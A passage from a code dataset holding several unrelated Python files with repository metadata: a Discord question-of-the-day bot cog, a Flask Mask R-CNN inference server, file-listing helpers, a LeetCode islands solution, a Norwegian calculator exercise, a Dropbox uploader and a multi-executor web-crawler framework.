2:\r\n\r\n raise ValueError('You must provide a time in standard format. ``E.g. 22:00``')\r\n\r\n today = datetime.datetime(datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day, int(time[0]), int(time[1]))\r\n\r\n if today < datetime.datetime.now():\r\n \r\n today = datetime.datetime(datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day + 1, int(time[0]), int(time[1]))\r\n\r\n with open('config.json', 'r') as f:\r\n r = json.load(f)\r\n r[\"QOTD_TIME\"] = ':'.join(str(item) for item in time)\r\n\r\n f.close()\r\n\r\n with open('config.json', 'w+') as f:\r\n\r\n json.dump(r, f, indent = 0)\r\n\r\n f.close()\r\n\r\n embed = discord.Embed(title = 'QOTD Time', description = f'The QOTD time has been changed to ``{\":\".join(str(item) for item in time)}``', color = discord.Color.green(), \r\n timestamp = ctx.message.created_at)\r\n\r\n await ctx.send(embed = embed)\r\n \r\n await asyncio.sleep(int((today-datetime.datetime.now()).total_seconds()))\r\n\r\n self.get_question.start()\r\n\r\n \r\n @_qotd.command()\r\n async def check(self, ctx):\r\n time = read('QOTD_TIME')\r\n\r\n if time == 'None':\r\n embed = discord.Embed(title = 'QOTD Time', description = 'There is no QOTD time set!', color = discord.Color.red(), timestamp = ctx.message.created_at)\r\n\r\n return await ctx.send(embed = embed)\r\n\r\n \r\n embed = discord.Embed(title = 'QOTD Time', description = f'The current QOTD time is {time}', color = discord.Color.green(), timestamp = ctx.message.created_at)\r\n await ctx.send(embed = embed)\r\n\r\n \r\n @_qotd.command()\r\n @commands.has_permissions(administrator = True)\r\n async def clear(self, ctx):\r\n\r\n with open('config.json', 'r') as f:\r\n r = json.load(f)\r\n r[\"QOTD_TIME\"] = 'None'\r\n\r\n f.close()\r\n\r\n with open('config.json', 'w+') as f:\r\n\r\n json.dump(r, f, indent = 0)\r\n\r\n f.close()\r\n\r\n await ctx.send(embed = discord.Embed(title = 'QOTD Time Cleared', description = 'The QOTD Time has been cleared!', timestamp = ctx.message.created_at, color = discord.Color.green()))\r\n \r\n\r\n @_qotd.command()\r\n @commands.has_permissions(administrator = True)\r\n async def channel(self, ctx, chan: discord.TextChannel):\r\n \"\"\"Change the channel that QOTD sends to.\"\"\"\r\n\r\n with open('config.json', 'r') as f:\r\n r = json.load(f)\r\n r[\"QUESTION_CHANNEL_ID\"] = chan.id\r\n\r\n f.close()\r\n\r\n with open('config.json', 'w+') as f:\r\n\r\n json.dump(r, f, indent = 0)\r\n\r\n f.close()\r\n\r\n await ctx.send(embed = discord.Embed(title = 'QOTD Channel changed', description = 'The QOTD channel has been changed!', timestamp = ctx.message.created_at, color = discord.Color.green()))\r\n\r\n\r\n\r\n @tasks.loop(hours = 24)\r\n async def get_question(self):\r\n\r\n await self.bot.wait_until_ready()\r\n\r\n async with aiohttp.ClientSession() as session:\r\n #html = await fetch(session, \"https://faculty.washington.edu/ejslager/random-generator/index.html\")\r\n html = await fetch(session, \"https://www.conversationstarters.com/generator.php\")\r\n html = BeautifulSoup(html, \"html.parser\")\r\n question = str(html.find_all(id = \"random\")[0])[63:-6]\r\n guild = self.bot.get_guild(read('guild_id'))\r\n \r\n question_channel = guild.get_channel(read('question_channel_id'))\r\n answer_channel = discord.utils.get(guild.text_channels, id = read('answer_CHANNEL_ID'))#self.bot.get_channel(read('answer_channel_id'))\r\n embed = discord.Embed(\r\n title='QOTD Question',\r\n description=f\"{question}\\nSend your response in {answer_channel.mention}\",\r\n color=discord.Color.green()\r\n )\r\n qotd_role = guild.get_role(read('qotd_role_id'))\r\n await question_channel.send(qotd_role.mention)\r\n await question_channel.send(embed=embed)\r\n\r\n \r\n\r\n\r\ndef setup(bot):\r\n bot.add_cog(QOTD(bot))\r\n","repo_name":"Allton274/BibleBot","sub_path":"qotd.py","file_name":"qotd.py","file_ext":"py","file_size_in_byte":5237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11654536048","text":"import os\nimport cv2\nimport math\nimport flask\nimport logging\nimport numpy as np\nimport tensorflow as tf\n\nfrom mrcnn.config import Config\nfrom mrcnn.model import MaskRCNN\nfrom flask import request, jsonify\n\nbatch_size = 1\napp = flask.Flask(__name__)\nmodel, graph, session = None, None, None\n\nlogging.basicConfig()\nmodel_shape = (2048, 1280)\n\n\nclass InferenceConfig(Config):\n\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n\n # Give the configuration a recognizable name\n NAME = 'sketch'\n\n BACKBONE = 'resnet50'\n\n USE_MINI_MASK = True\n\n # Number of classes (including background)\n NUM_CLASSES = 1 + 2 # background + measurement + parcel number\n\n # Use small images for faster training. Set the limits of the small side\n # the large side, which determines the image shape.\n IMAGE_MIN_DIM = 1280\n IMAGE_MAX_DIM = 2048\n\n # Minimum probability value to accept a detected instance\n # ROIs below this threshold are skipped\n DETECTION_MIN_CONFIDENCE = 0.7\n\n # Non-maximum suppression threshold for detection\n DETECTION_NMS_THRESHOLD = 0.3\n\n # Percent of positive ROIs used to train classifier/mask heads\n ROI_POSITIVE_RATIO = 0.33\n\n # Use smaller anchors because our image and objects are small\n RPN_ANCHOR_SCALES = (8, 16, 24, 32, 40) # anchor side in pixels\n\n # Reduce training ROIs per image because the images are small and have\n # few objects. Aim to allow ROI sampling to pick 33% positive ROIs.\n TRAIN_ROIS_PER_IMAGE = 300\n\n\n@app.route('/recognize', methods=['POST'])\ndef recognize():\n file_keys = list(request.files.keys())\n batch_count = math.ceil(len(file_keys) / batch_size)\n\n if batch_count:\n result = []\n\n for batch in range(batch_count):\n start = batch * batch_size\n stop = start + batch_size\n\n images, original_shapes = [], []\n for key in file_keys[start:stop]:\n image = cv2.imdecode(np.frombuffer(request.files[key].read(), np.uint8), cv2.IMREAD_COLOR)\n original_shapes.append(image.shape)\n\n resized = cv2.resize(image, (model_shape[1], model_shape[0]))\n images.append(resized)\n\n with graph.as_default():\n with session.as_default():\n detections = model.detect(images, verbose=0)\n\n for i, (detection, original_shape) in enumerate(zip(detections, original_shapes)):\n d_masks = detection['masks']\n if d_masks.shape[0]:\n masks = []\n shape = (original_shape[1], original_shape[0])\n for j in range(d_masks.shape[2]):\n mask_nonzero = np.nonzero(cv2.resize(d_masks[:, :, j].astype(np.uint8), dsize=shape))\n masks.append([mask_nonzero[0].tolist(), mask_nonzero[1].tolist()])\n\n class_ids = detection['class_ids'].tolist()\n else:\n masks, class_ids = [], []\n\n result.append({\n 'masks': masks,\n 'class_ids': class_ids\n })\n\n result = {\n 'success': True,\n 'result': result\n }\n else:\n result = {\n 'success': False\n }\n\n return jsonify(result)\n\n\n@app.before_first_request\ndef before_first_request():\n global model, graph, session\n\n graph = tf.Graph()\n session = tf.Session(graph=graph)\n with graph.as_default():\n with session.as_default():\n model = MaskRCNN(mode='inference', config=InferenceConfig(), model_dir='')\n\n weight_location = os.environ.get('WEIGHTS', 'weights/model_weights.h5')\n model.load_weights(weight_location, by_name=True)\n\n\nif __name__ == '__main__':\n port = os.environ.get('PORT', 5003)\n host = os.environ.get('HOST', '0.0.0.0')\n app.run(host=host, port=port, use_reloader=False)\n","repo_name":"TechMagic/instance-segmentation-maskrcnn","sub_path":"wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":3915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1883401485","text":"#Wiaux Bastien\nimport os\n\ndef files(path):\n lst = []\n for entry in os.scandir(path):\n if not entry.name.startswith('.') and entry.is_file():\n lst.append(entry.name)\n return lst\n \ndef directories(path):\n lst = []\n for entry in os.scandir(path):\n if not entry.name.startswith('.') and entry.is_dir():\n lst.append(entry.name)\n return lst\n \ndef subfiles(dir):\n lst = []\n for entry in os.scandir(dir):\n if not entry.name.startswith('.') and entry.is_dir():\n for sit in os.scandir(os.path.join(dir,entry.name)):\n if not sit.name.startswith('.') and sit.is_file():\n lst.append(os.path.join(dir,entry.name,sit.name))\n return lst\n","repo_name":"wiauxb/LEPL1401-Exercices","sub_path":"Exercices/12/Module Path.py","file_name":"Module Path.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"26262212351","text":"\nfrom typing import List\n\nfrom functools import lru_cache\n\n\nclass Solution:\n\n def numIslands(self, grid: List[List[str]]) -> int:\n\n m = len(grid)\n n = len(grid[0])\n count = 0\n\n directions = [(0, 1), (0, -1), (1, 0), (-1, 0)]\n\n def markIsland(i, j):\n\n grid[i][j] = 0\n for direction in directions:\n new_i = i+direction[0]\n new_j = j+direction[1]\n if 0<=new_i 0\r\n cm = antallTommer * 2.54\r\n print(\"\\nKonvertering fra tommer til centimeter:\")\r\n print(\"Resultat av konvertering:\", cm)\r\n return cm\r\n\r\ntime.sleep(1.5)\r\n#tester addisjon funksjonen ved å legge sammen 2 egendefinerte verdier. oppg 1.1\r\naddisjon(6, 3)\r\n\r\ntime.sleep(1.5)\r\n# tester tommerTilCm funksjonen ved å angi antallTommer = 28. oppg 1.3\r\ntommerTilCm(28)\r\n\r\n\r\n#funksjon som har 2 parametre som henter input fra bruker, og bruker dette for å kalle opp resten av funksjonene med input som parametre.\r\ndef skrivBeregninger():\r\n print(\"\\nUtregninger:\")\r\n # 2 inputs fra bruker som blir gjort om til flytall.\r\n inp1 = input(\"Skriv inn tall 1: \")\r\n inp1 = float(inp1)\r\n inp2 = input(\"Skriv inn tall 2: \")\r\n inp2 = float(inp2)\r\n print(\"\")\r\n\r\n #de 3 første funksjonene med input som parametre.\r\n addisjon(inp1, inp2)\r\n subtraksjon(inp1, inp2)\r\n divisjon(inp1, inp2)\r\n\r\n time.sleep(1.5)\r\n\r\n # input for konvertering fra tommer til cm (gjøres også om til flytall).\r\n inp3 = input(\"\\nSkriv inn antall tommer: \")\r\n inp3 = float(inp3)\r\n\r\n #til slutt kalles tommer til centimterer funksjonen opp med argument tatt fra input ovenfor-\r\n tommerTilCm(inp3)\r\n\r\n(print(\"\"))\r\n\r\ntime.sleep(1.5)\r\n#prosedyren \"skrivBeregninger\" som inneholder alle de 4 funksjonene kalles opp.\r\nskrivBeregninger()\r\n\r\nprint(\"\")\r\n","repo_name":"borgebj/IN1000-Python","sub_path":"innlevering5/regnefunksjoner.py","file_name":"regnefunksjoner.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17213324124","text":"import dropbox\n\ntoken = 'Your app token'\n\n\ndef uploadFile( file_from, file_to):\n f = open(file_from, 'rb')\n f = f.read()\n dbx = dropbox.Dropbox(token)\n if (file_from != '' and file_to !=''):\n dbx.files_upload(f, file_to)\n print(\"Your files have been uploaded succesfully\")\n else:\n print(\"There was a problem locating the targeted folder\")\n\n\ndef main():\n \n print(\"Welcome to Image storage!\")\n print(\"\")\n\n print(\"\")\n while True:\n yes_no = input(\"Would you like to upload files to dropbox ? Enter y or n: \").lower()\n print(\"\")\n if(yes_no == 'y'):\n \n file_from = input(\"Please enter the image or file you want to upload from the list below:\\n \").lower()\n \n file_to = \"folder_img\"\n file_to = '/'+file_to+'/'+file_from\n print(\"\")\n \n uploadFile(file_from,file_to)\n\n \n elif(yes_no == 'n'):\n print(\"Thanks for using our app\")\n break\n else: \n print(\"Answer in y or n\") \n print(\"\") \n\n \nmain() ","repo_name":"KholofeloMasela/cloud_storage","sub_path":"cloud_storage.py","file_name":"cloud_storage.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2113444819","text":"from multipledispatch import dispatch\nfrom multirunnable.factory import LockFactory, BoundedSemaphoreFactory\nfrom multirunnable import RunningMode, SimpleExecutor, SimplePool\nfrom typing import List, Iterable, Any, TypeVar, Union, Optional, Generic, Callable\nfrom queue import Queue\nfrom abc import ABCMeta\nimport logging\n\nfrom .components.persistence import PersistenceFacade as _PersistenceFacade\nfrom .components.httpio import BaseHTTP as _BaseHttpIo\nfrom .components.data import (\n BaseHTTPResponseParser as _BaseHTTPResponseParser,\n BaseDataHandler as _BaseDataHandler,\n BaseAsyncDataHandler as _BaseAsyncDataHandler\n)\nfrom .factory import BaseFactory, CrawlerFactory, AsyncCrawlerFactory\n\n\nRunAsParallel = RunningMode.Parallel\nRunAsConcurrent = RunningMode.Concurrent\nRunAsCoroutine = RunningMode.GreenThread\n\nT = TypeVar(\"T\")\n\n\nclass BaseCrawler(metaclass=ABCMeta):\n\n _HTTP_IO: _BaseHttpIo = None\n _HTTP_Response_Parser: _BaseHTTPResponseParser = None\n _Data_Handler: _BaseDataHandler = None\n _Persistence: _PersistenceFacade = None\n\n def __init__(self, factory: BaseFactory = None):\n \"\"\"\n Define some basically functions to all crawlers.\n\n :param factory: The BaseFactory object which would provides each different factories to\n crawler uses like send HTTP request, parse HTTP response, etc.\n \"\"\"\n\n if factory is None:\n self._factory = self._initial_factory()\n else:\n self._factory = factory\n\n\n def _initial_factory(self) -> BaseFactory:\n \"\"\"\n Initial BaseFactory object. This function would be called if value of option *factory* of __init__ is None.\n\n :return: CrawlerFactory instance.\n \"\"\"\n\n return CrawlerFactory()\n\n\n def register_factory(self,\n http_req_sender: _BaseHttpIo = None,\n http_resp_parser: _BaseHTTPResponseParser = None,\n data_process: Union[_BaseDataHandler, _BaseAsyncDataHandler] = None,\n persistence: _PersistenceFacade = None) -> None:\n \"\"\"\n Register SmoothCrawler's component(s) to CrawlerFactory instance.\n\n :param http_req_sender: The *Sender* component sends HTTP request.\n :param http_resp_parser: The *Parser* component handles HTTP response.\n :param data_process: The *Handler* component handles data process which be generated from HTTP response.\n :param persistence: The *Persistence* component response of saving data.\n :return: None\n \"\"\"\n\n self._factory.http_factory = http_req_sender\n self._factory.parser_factory = http_resp_parser\n self._factory.data_handling_factory = data_process\n self._factory.persistence_factory = persistence\n\n\n def crawl(self, method: str, url: str, retry: int = 1, *args, **kwargs) -> Any:\n \"\"\"\n Crawl web data process. It would send HTTP request, receive HTTP response and\n parse the content here. It ONLY does it, doesn't do anything else.\n\n :param method: HTTP method.\n :param url: URL.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return: The result which it has parsed from HTTP response. The data type is Any.\n \"\"\"\n\n response = self.send_http_request(method=method, url=url, retry=retry, *args, **kwargs)\n parsed_response = self.parse_http_response(response=response)\n return parsed_response\n\n\n def send_http_request(self, method: str, url: str, retry: int = 1, *args, **kwargs) -> Generic[T]:\n \"\"\"\n Send HTTP request.\n It could override this function to implement your own customized logic to send HTTP request.\n\n :param method: HTTP method.\n :param url: URL.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return: A HTTP response object.\n \"\"\"\n\n response = self._factory.http_factory.request(method=method, url=url, timeout=retry, *args, **kwargs)\n return response\n\n\n def parse_http_response(self, response: Generic[T]) -> Generic[T]:\n \"\"\"\n Parse the HTTP response.\n It could override this function to implement your own customized logic to parse HTTP response.\n\n :param response: The HTTP response.\n :return: The result which it has parsed from HTTP response. The data type is Generic[T].\n \"\"\"\n\n parsed_response = self._factory.parser_factory.parse_content(response=response)\n return parsed_response\n\n\n def data_process(self, parsed_response: Generic[T]) -> Generic[T]:\n \"\"\"\n The data process to handle the data which has been parsed from HTTP response object.\n It could override this function to implement your own customized logic to do data process.\n\n :param parsed_response: The data which has been parsed from HTTP response object.\n :return: The result of data process. The data type is Generic[T].\n \"\"\"\n\n data = self._factory.data_handling_factory.process(result=parsed_response)\n return data\n\n\n def persist(self, data: Any) -> None:\n \"\"\"\n Persist the data.\n It could override this function to implement your own customized logic to save data.\n\n :param data: The target data to persist. In generally, this is the data which has been parsed and handled.\n :return: None\n \"\"\"\n self._factory.persistence_factory.save(data=data)\n\n\n\nclass SimpleCrawler(BaseCrawler):\n\n @dispatch(str, str)\n def run(self, method: str, url: str) -> Optional[Any]:\n \"\"\"\n It would crawl the data and do some data process for the parsed HTTP response object.\n\n :param method: HTTP method.\n :param url: URL. It only one URL here.\n :return: The result of data process.\n \"\"\"\n\n parsed_response = self.crawl(method=method, url=url)\n data = self.data_process(parsed_response=parsed_response)\n return data\n\n\n @dispatch(str, list)\n def run(self, method: str, url: List[str]) -> Optional[List]:\n \"\"\"\n This's the overload function of previous one. The only different is: this is handling\n with a collection of URLs and previous one handles only one.\n\n :param method: HTTP method.\n :param url: URLs. It could receive a collection of URLs.\n :return: The result of data process.\n \"\"\"\n\n result = []\n for _target_url in url:\n parsed_response = self.crawl(method=method, url=_target_url)\n data = self.data_process(parsed_response=parsed_response)\n result.append(data)\n return result\n\n\n def run_and_save(self, method: str, url: Union[str, list]) -> None:\n \"\"\"\n In addiction to crawl and handle the data from web, it persist the data.\n\n :param method: HTTP method.\n :param url: One or more URLs (a collection of URLs).\n :return: None\n \"\"\"\n\n _result = self.run(method, url)\n self.persist(data=_result)\n\n\n\nclass MultiRunnableCrawler(BaseCrawler):\n\n _Persistence_Factory: _PersistenceFacade = None\n\n @property\n def persistence_factory(self) -> _PersistenceFacade:\n \"\"\"\n Get the instance of persistence factory object.\n\n :return: A **PersistenceFacade** type object.\n \"\"\"\n\n return self._Persistence_Factory\n\n\n @persistence_factory.setter\n def persistence_factory(self, factory: _PersistenceFacade) -> None:\n self._Persistence_Factory = factory\n\n\n def process_with_list(self, method: str, url: List[str], retry: int = 1, *args, **kwargs) -> List[Any]:\n \"\"\"\n Handling the crawler process with List of URLs.\n\n :param method: HTTP method.\n :param url: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return: A list of result of data process.\n \"\"\"\n\n _handled_data = []\n for _target_url in url:\n parsed_response = self.crawl(method=method, url=_target_url)\n _handled_data_row = self.data_process(parsed_response=parsed_response)\n _handled_data.append(_handled_data_row)\n return _handled_data\n\n\n def process_with_queue(self, method: str, url: Queue, retry: int = 1, *args, **kwargs) -> List[Any]:\n \"\"\"\n Handling the crawler process with Queue which saving URLs.\n\n :param method: HTTP method.\n :param url: Queue of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return: A list of result of data process.\n \"\"\"\n\n _handled_data = []\n while url.empty() is False:\n _target_url = url.get()\n parsed_response = self.crawl(method=method, url=_target_url)\n _handled_data_row = self.data_process(parsed_response=parsed_response)\n _handled_data.append(_handled_data_row)\n return _handled_data\n\n\n @staticmethod\n def _get_lock_feature(lock: bool = True, sema_value: int = 1) -> Union[LockFactory, BoundedSemaphoreFactory]:\n \"\"\"\n Initialize Lock or Semaphore. Why? because of persistence process.\n\n :param lock: It would initial a Lock if it's True, or it would initial Semaphore.\n :param sema_value: The value of Semaphore. This argument only work for option *lock* is False.\n :return: It would return **LockFactory** if option *lock* is True, or it returns **BoundedSemaphoreFactory**.\n \"\"\"\n\n if lock is True:\n feature = LockFactory()\n else:\n if sema_value <= 0:\n raise ValueError(\"The number of Semaphore cannot less than or equal to 0.\")\n feature = BoundedSemaphoreFactory(value=sema_value)\n return feature\n\n\n @staticmethod\n def _divide_urls(urls: List[str], executor_number: int) -> List[List[str]]:\n \"\"\"\n Divide the data list which saving URLs to be a list saving multiple lists.\n\n :param urls: A collection of URLs.\n :param executor_number: How many executors you activate to run.\n :return: A collection of element which also is collection of URLs.\n \"\"\"\n\n urls_len = len(urls)\n urls_interval = int(urls_len / executor_number)\n urls_list_collection = [urls[i:i + urls_interval] for i in range(0, executor_number, urls_interval)]\n return urls_list_collection\n\n\n\nclass AsyncSimpleCrawler(MultiRunnableCrawler):\n\n def __init__(self, executors: int, factory: AsyncCrawlerFactory = None):\n super(AsyncSimpleCrawler, self).__init__(factory=factory)\n self.__executor_number = executors\n self.__executor = SimpleExecutor(mode=RunningMode.Asynchronous, executors=executors)\n\n\n def _initial_factory(self) -> AsyncCrawlerFactory:\n \"\"\"\n Initial asynchronous version of BaseFactory object --- AsyncCrawlerFactory.\n\n :return: AsyncCrawlerFactory instance.\n \"\"\"\n\n return AsyncCrawlerFactory()\n\n\n async def crawl(self, url: str, method: str, retry: int = 1, *args, **kwargs) -> Any:\n response = await self.send_http_request(method=method, url=url, retry=retry, *args, **kwargs)\n parsed_response = await self.parse_http_response(response=response)\n return parsed_response\n\n\n async def send_http_request(self, method: str, url: str, retry: int = 1, *args, **kwargs) -> Generic[T]:\n \"\"\"\n The asynchronous version of *BaseCrawler.send_http_request*.\n\n :param method: HTTP method.\n :param url: URL.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return: A HTTP response object.\n \"\"\"\n\n response = await self._factory.http_factory.request(method=method, url=url, timeout=retry, *args, **kwargs)\n return response\n\n\n async def parse_http_response(self, response: Generic[T]) -> Generic[T]:\n \"\"\"\n The asynchronous version of *BaseCrawler.parse_http_response*.\n\n :param response: The HTTP response.\n :return: The result which it has parsed from HTTP response. The data type is Generic[T].\n \"\"\"\n\n parsed_response = await self._factory.parser_factory.parse_content(response=response)\n return parsed_response\n\n\n async def data_process(self, parsed_response: Generic[T]) -> Generic[T]:\n \"\"\"\n The asynchronous version of *BaseCrawler.data_process*.\n\n :param parsed_response: The data which has been parsed from HTTP response object.\n :return: The result of data process. The data type is Generic[T].\n \"\"\"\n\n data = await self._factory.data_handling_factory.process(result=parsed_response)\n return data\n\n\n async def persist(self, data: Any) -> None:\n \"\"\"\n The asynchronous version of *BaseCrawler.persist*.\n\n :param data: The target data to persist. In generally, this is the data which has been parsed and handled.\n :return: None\n \"\"\"\n await self._factory.persistence_factory.save(data=data)\n\n\n async def process_with_list(self, method: str, url: List[str], retry: int = 1, *args, **kwargs) -> Any:\n \"\"\"\n The asynchronous version of *MultiRunnableCrawler.process_with_list*.\n\n :param method: HTTP method.\n :param url: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return: A list of result of data process.\n \"\"\"\n\n _handled_data = []\n for _target_url in url:\n parsed_response = await self.crawl(method=method, url=_target_url, retry=retry)\n _handled_data_row = await self.data_process(parsed_response=parsed_response)\n _handled_data.append(_handled_data_row)\n return _handled_data\n\n\n async def process_with_queue(self, method: str, url: Queue, retry: int = 1, *args, **kwargs) -> Any:\n \"\"\"\n The asynchronous version of *MultiRunnableCrawler.process_with_queue*.\n\n :param method: HTTP method.\n :param url: Queue of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return: A list of result of data process.\n \"\"\"\n\n _handled_data = []\n while url.empty() is False:\n _target_url = await url.get()\n parsed_response = await self.crawl(method=method, url=_target_url, retry=retry)\n _handled_data_row = await self.data_process(parsed_response=parsed_response)\n _handled_data.append(_handled_data_row)\n return _handled_data\n\n\n def map(self, method: str, url: List[str], retry: int = 1, lock: bool = True, sema_value: int = 1) -> Optional:\n \"\"\"\n The asynchronous version of *ExecutorCrawler.map*.\n\n :param method: HTTP method.\n :param url: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :param lock: It would initial a Lock if it's True, or it would initial Semaphore.\n :param sema_value: The value of Semaphore. This argument only work for option *lock* is False.\n :return: The result of data process from parsed HTPP response object.\n \"\"\"\n\n feature = MultiRunnableCrawler._get_lock_feature(lock=lock, sema_value=sema_value)\n args_iterator = [{\"method\": method, \"url\": _url, \"retry\": retry} for _url in url]\n\n self.__executor.map(\n function=self.crawl,\n args_iter=args_iterator,\n queue_tasks=None,\n features=feature)\n result = self.__executor.result()\n return result\n\n\n def run(self, method: str, url: Union[List[str], Queue], retry: int = 1, lock: bool = True, sema_value: int = 1) -> Optional:\n \"\"\"\n The asynchronous version of *ExecutorCrawler.run*.\n\n :param method: HTTP method.\n :param url: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :param lock: It would initial a Lock if it's True, or it would initial Semaphore.\n :param sema_value: The value of Semaphore. This argument only work for option *lock* is False.\n :return: The result of data process from parsed HTPP response object.\n \"\"\"\n\n feature = MultiRunnableCrawler._get_lock_feature(lock=lock, sema_value=sema_value)\n\n if type(url) is list:\n _url_len = len(url)\n if _url_len <= self.__executor_number:\n return self.map(method=method, url=url, retry=retry, lock=lock, sema_value=sema_value)\n else:\n urls_list_collection = MultiRunnableCrawler._divide_urls(urls=url, executor_number=self.__executor_number)\n self.__executor.run(\n function=self.process_with_list,\n args={\"method\": method, \"url\": urls_list_collection, \"retry\": retry},\n queue_tasks=None,\n features=feature)\n else:\n self.__executor.run(\n function=self.process_with_queue,\n args={\"method\": method, \"url\": url, \"retry\": retry},\n queue_tasks=None,\n features=feature)\n\n result = self.__executor.result()\n return result\n\n\n\nclass ExecutorCrawler(MultiRunnableCrawler):\n\n def __init__(self, mode: RunningMode, executors: int, factory: CrawlerFactory):\n super(ExecutorCrawler, self).__init__(factory=factory)\n self.__executor_number = executors\n self.__executor = SimpleExecutor(mode=mode, executors=executors)\n\n\n def run(self, method: str, url: Union[List[str], Queue], retry: int = 1, lock: bool = True, sema_value: int = 1) -> Optional:\n \"\"\"\n Run the crawl process as multiple executor directly. It may run a little bit differently by the option *url*.\n Please consider below scenarios:\n\n * Option *url* is a *list* type value:\n\n * If the size of value is bigger than the executor number:\n separate the collection of URLs and activate the number of executors.\n\n * If the size of value is smaller than the executor number:\n activate the executors as function *map*.\n\n * Option *url* is a **Queue** type value:\n Run the executors with the Queue object.\n\n :param method: HTTP method.\n :param url: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :param lock: It would initial a Lock if it's True, or it would initial Semaphore.\n :param sema_value: The value of Semaphore. This argument only work for option *lock* is False.\n :return: The result of data process from parsed HTPP response object.\n \"\"\"\n\n feature = MultiRunnableCrawler._get_lock_feature(lock=lock, sema_value=sema_value)\n\n if type(url) is list:\n urls_len = len(url)\n if urls_len <= self.__executor_number:\n logging.warning(\"It will have some idle executors deosn't be activated because target URLs amount more than executor number.\")\n logging.warning(f\"URLs amount: {urls_len}\")\n logging.warning(f\"Executor number: {self.__executor_number}\")\n _result = self.map(method=method, url=url, retry=retry, lock=lock, sema_value=sema_value)\n return _result\n else:\n urls_list_collection = MultiRunnableCrawler._divide_urls(urls=url, executor_number=self.__executor_number)\n\n self.__executor.run(\n function=self.process_with_list,\n args={\"method\": method, \"url\": urls_list_collection, \"retry\": retry},\n queue_tasks=None,\n features=feature)\n else:\n self.__executor.run(\n function=self.process_with_queue,\n args={\"method\": method, \"url\": url, \"retry\": retry},\n queue_tasks=None,\n features=feature)\n\n result = self.__executor.result()\n return result\n\n\n def map(self, method: str, url: List[str], retry: int = 1, lock: bool = True, sema_value: int = 1) -> Optional:\n \"\"\"\n The crawler version of builtin function *map*. It would activate multiple executors as many as the size of\n collection of URLs to run.\n\n :param method: HTTP method.\n :param url: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :param lock: It would initial a Lock if it's True, or it would initial Semaphore.\n :param sema_value: The value of Semaphore. This argument only work for option *lock* is False.\n :return: The result of data process from parsed HTPP response object.\n \"\"\"\n\n feature = MultiRunnableCrawler._get_lock_feature(lock=lock, sema_value=sema_value)\n args_iterator = [{\"method\": method, \"url\": _url, \"retry\": retry} for _url in url]\n\n self.__executor.map(\n function=self.crawl,\n args_iter=args_iterator,\n queue_tasks=None,\n features=feature)\n result = self.__executor.result()\n return result\n\n\n\nclass PoolCrawler(MultiRunnableCrawler):\n\n def __init__(self, mode: RunningMode, pool_size: int, factory: CrawlerFactory):\n super(PoolCrawler, self).__init__(factory=factory)\n self.__pool = SimplePool(mode=mode, pool_size=pool_size)\n\n\n def __enter__(self):\n self.init()\n return self\n\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n\n\n def init(self, lock: bool = True, sema_value: int = 1) -> None:\n \"\"\"\n Initialize something which be needed before instantiate Pool object.\n\n :param lock:\n :param sema_value:\n :return:\n \"\"\"\n\n feature = MultiRunnableCrawler._get_lock_feature(lock=lock, sema_value=sema_value)\n self.__pool.initial(queue_tasks=None, features=feature)\n\n\n def apply(self, method: str, urls: List[str], retry: int = 1) -> Optional:\n \"\"\"\n Run the crawl process with multiple executor of *Pool*.\n\n :param method: HTTP method.\n :param urls: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :return:\n \"\"\"\n\n _urls_len = len(urls)\n _kwargs_iter = [{\"method\": method, \"url\": _url, \"retry\": retry} for _url in urls]\n self.__pool.apply_with_iter(\n functions_iter=[self.crawl for _ in range(_urls_len)],\n kwargs_iter=_kwargs_iter)\n result = self.__pool.get_result()\n return result\n\n\n def async_apply(self,\n method: str, urls: List[str], retry: int = 1,\n callbacks: Union[Callable, List[Callable]] = None,\n error_callbacks: Union[Callable, List[Callable]] = None) -> Optional:\n \"\"\"\n Asynchronous version of *PoolCrawler.apply*.\n\n :param method: HTTP method.\n :param urls: A collection of URLs.\n :param retry: How many it would retry to send HTTP request if it gets fail when sends request.\n :param callbacks: A *Callable* type object which would be run after done the task.\n :param error_callbacks: A *Callable* type object which would be run if it gets any exceptions in running.\n :return:\n \"\"\"\n\n _urls_len = len(urls)\n\n _kwargs_iter = [{\"method\": method, \"url\": _url, \"retry\": retry} for _url in urls]\n\n if callbacks:\n if type(callbacks) is not Iterable:\n callbacks = [callbacks for _ in range(_urls_len)]\n else:\n if len(callbacks) != _urls_len:\n raise ValueError\n\n if error_callbacks:\n if type(error_callbacks) is not Iterable:\n error_callbacks = [error_callbacks for _ in range(_urls_len)]\n else:\n if len(callbacks) != _urls_len:\n raise ValueError\n\n self.__pool.async_apply_with_iter(\n functions_iter=[self.crawl for _ in range(_urls_len)],\n kwargs_iter=_kwargs_iter,\n callback_iter=callbacks,\n error_callback_iter=error_callbacks)\n result = self.__pool.get_result()\n return result\n\n\n def map(self, method: str, urls: List[str], retry: int = 1) 